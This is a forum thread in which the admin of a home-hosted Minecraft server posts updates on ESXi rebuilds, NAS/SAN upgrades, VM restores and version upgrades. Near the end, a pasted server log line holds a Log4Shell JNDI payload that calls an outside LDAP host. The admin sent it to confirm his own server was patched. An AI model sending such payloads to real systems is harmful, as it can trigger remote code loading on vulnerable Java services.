[turtle]

Even better! With 10Gbs speeds using a SAN connection to the NAS will be fine for disk operations.

It will be nice when the internal SSD is usable for ESXi, but for now at least I already had a NAS and configured an iSCSI LUN to connect the hypervisor.

[kscherer]

Oh, good. I was hoping you had all those acronyms covered.

*Phew!*

[turtle]

[turtle]

I'm moving the server now.

No one is on and hasn't been for a while so now is as good of a time as any. I'll post again once the move completes.

[turtle]

And the move is done.

Given the change in storage architecture please let me know if you encounter any oddities. I'm sure you will be fine, but just putting it out there.

[turtle]

Guess I was right about a memory issue:


This is from my first run on the old host we just moved from. No wonder I was having so many VM issues on that host.

[drewprops]

Where's the Any key?


...

[drewprops]

The new server is BOSS!!


...

[turtle]

Wow. That is amazing you figured out how I do this Drew! I was trying to keep it quiet.

[turtle]

I'm going to have to take the server down in the near future. I'm going to be upgrading my NAS to a 10Gb NIC. This should help performance in the server since it is a VM that runs it's storage from the NAS. This will be 10Gb from the ESXo host to the switch and 10Gb from the switch to the NAS.

I don't have specifics on when it will come down yet. I have th parts but have 14 VMs I have to take down from the NAS iSCSI connection to ESXi alone. Never mind the other services I'm running on the NAS. So it will be sudden when I can finally rip the band aide off! I'll try to make sure no one is on the server when I do it though.

[turtle]

So the NAS is back up and running with the 10Gb NIC ut the host is down and boot volume corrupted. This means I have to rebuild the host.

The good news is I have full backups of the servers so I won't lose anything from this other than time.

[Brad]

Ganbare, turtle-sama!

And thanks for the play-by-play!

[turtle]

OK, host rebuilt but the VM isn't compatible on this host anymore since I had to go from VM compatibility for ESXiv7 down to ESXiv6.7. I have a plan though it is just going to take a little more time. I have another ESXi host that I mostly use for work stuff. It is stable and production so it won't be a problem, but I'm going to upgrade it to v7 so the anmc VM will work natively again. Trying to attach the VMDK to a new 6.7 built VM fails and CentOS can't seem to read the volumes.

[_Ω_]

Originally Posted by turtle OK, host rebuilt but the VM isn't compatible on this host anymore since I had to go from VM compatibility for ESXiv7 down to ESXiv6.7. I have a plan though it is just going to take a little more time. I have another ESXi host that I mostly use for work stuff. It is stable and production so it won't be a problem, but I'm going to upgrade it to v7 so the anmc VM will work natively again. Trying to attach the VMDK to a new 6.7 built VM fails and CentOS can't seem to read the volumes.

I don't speak turtle

FUMF

[turtle]

So it looks like the VM is horribly corrupt. Even the backups I'm restoring from have an issue where Cent OS 7 can't find it's drives. I'll look into this more, but this is not going well. The most recent backup of the world files is from 20210408_085109. So if I have to rebuild the VM I can at least have our game data ready to restore.

Maybe Brad knows the issue I'm dealing with about Cent OS wanting to be in emergency boot mode and such... or maybe google. The problem is I'm on a vacation with my family (at home) so I'm not going to spend a ton of time making this work this week. Sorry for those who want to play but I do have to put my family first on this one.

[turtle]

We are back! I tried the restore again today and we are back to the exact point where I shutdown the server and completed a full backup. Please log in and check anything you want to be sure but I'm confident all is well.

What actually happened you might be wondering? Well, I wanted to access the 2TB of SSD storage internally to the Mac mini. This meant I needed to downgrade from ESXi v7U1 to v6.7U2. The problem wasn't the downgrade of the host (which did get me access to the internal storage) but rather than the VMs were at VMware compatibility level v7U1. VMware compatibility is specifically not able to be downgraded. So when restoring you can, in many case, create a new VM and just attach the VMDK (virtual HDDs) from the original machine to the new VM. Some things break when this happens but can easily be corrected.

In my case I had two CentOS 7 VMs that couldn't read the drives. They knew they were CentOS 7, but couldn't access the data beyond EFI. My Windows 2019 Servers all failed to activate and wouldn't let me move my license so I could reactivate them. This left me with $$$ to buy new licenses or get it back the way it was. Given I had clean, good backups I just couldn't pay for the licenses again.

So last night I reinstalled ESXi v7.0b. Notice it isn't U1? Yeah, so I didn't last night in my frustration and kept trying to get the VMs to work. The same ones that wouldn't work before still wouldn't work. So I posted here and walked away. Had some wine with my wife and tried to relax.

Then I realizes I was not at the same version level I was when I took the backups and that the VMware compatibility version must be the issue AGAIN. So this morning I upgraded to the latest and brought the server back to v7U1. Everything is restoring exactly as expected now. As I'm restoring these VMs, I'm noticing that the compatibility level isn't just v7 but is v7U1! Talk about painting myself into a corner.

In the end we have a 10Gb connection from the NAS to my switch and 10Gb from the mini to the switch. So data transfers will be improved either way. I would rather have access to the onboard storage, but not over have running VMs. I don't want to rebuild these things again. Especially when some would require more money to MS and others I literally just built and sunk hours into getting configured the way I needed.

[709]

You the man, Turtle. I have no idea how you keep all of it straight but know that we appreciate that you do.

[kscherer]

I'm with that guy ^

[turtle]

Glad to do it. Even when it gets super frustrating like this past weekend was!

[turtle]

I'm not sure when it is going to happen, but in the not horribly long distant future I'm going to have the take the server down to do a NAS/SAN upgrade. This is going to take a while because I have to migrate the data in the current LUN to another one and then back to a new one. Needless to say, I'm not in a rush to put myself through this but I really do kinda need to make it happen. The SAN improvements are worth it but the pain to get there is questionable.

Anyway, I'll let everyone know when it happens. I know it isn't a busy server right now given the last time someone logged in was about a month ago, but I still want to let y'all know about it in case you do try to get in.

[turtle]

Tonight is the night. I'm taking the server down now. I'll let y'all know when it is back up.

[turtle]

The server is back up, but latency will likely be high. The temp SAN is struggling with disk I/O. Hopefully it will be very short term. I'll try to make it the first system to get back onto the upgraded SAN once I get to that point of putting things back.

[turtle]

NAS upgrades have been completed and new SAN/LUN created. I'm beginning the migrations back to the original NAS now. Shortly I'm going to take down the ANMC server and migrate it to the new store.

Edit: Down now. 0930 EDT

Edit2: And done! 0950 EDT

[turtle]

Soooo.... I need to take the server down for about an hour. Sadly it isn't to upgrade to 1.18 but rather to move from SAN/iSCSI storage to SSD. This should enhance performance but please let me know if you find it gets worse. I'll ensure no one is actively using the server when I shut it down.

Edit: done and back up on the SSD. So far it is looking pretty good. I played a little and all seemed well. I didn't go digging with a super pick, but everything else worked smoothly as expected.

[turtle]

The server is down....

Moving to 1.18!

Edit: The game now requires Java 17 instead of Java 16.

Still working on this...

[turtle]

And we are back running on 1.18 with a clean haircut too! More details on that in the 1.18 thread.

[turtle]

I'm going to take the server down briefly to update the invocation command so logging goes to a remote syslog server I'm running now. Details of the change can be found here if you're curious.

[turtle]

And done. The server is back up.

For giggles, I tried to exploit the server and it is mitigated. Not sure if it is just from the 1.18.1 update or the nolookups flag in the invocation. Either way, we are safe. I verified there was no DNS lookup on my DNS server as well to be sure.

2021-12-18 15:05:56 [INFO] turtle2472 joined the game2021-12-18 15:06:46 [INFO] <turtle2472> ${jndi:ldap://log4shell.huntress.com:1389/526e8632-7d86-4565-8b04-8c96147aee31}

Brad, the server still logs to logs/latest.log but should rotate out in the logs folder.

[Brad]

Thanks for checking and updating that, T. I was curious if of how Minecraft might be affected by the log4j fun.

[turtle]

The server is down right now. Last night at 0109 EST we had a power outage. That outage lasted longer than my UPS so the ESXi host dropped. This resulted in corruption of the ESXi OS. I'm rebuilding it still. Have spent my whole day doing this as a matter of fact.

Hopefully I won't have any issues with the VMs themselves, but I've not been able to test those yet. I'm sure they are fine and I can always fall back to the backups that we have for them if it came down to that.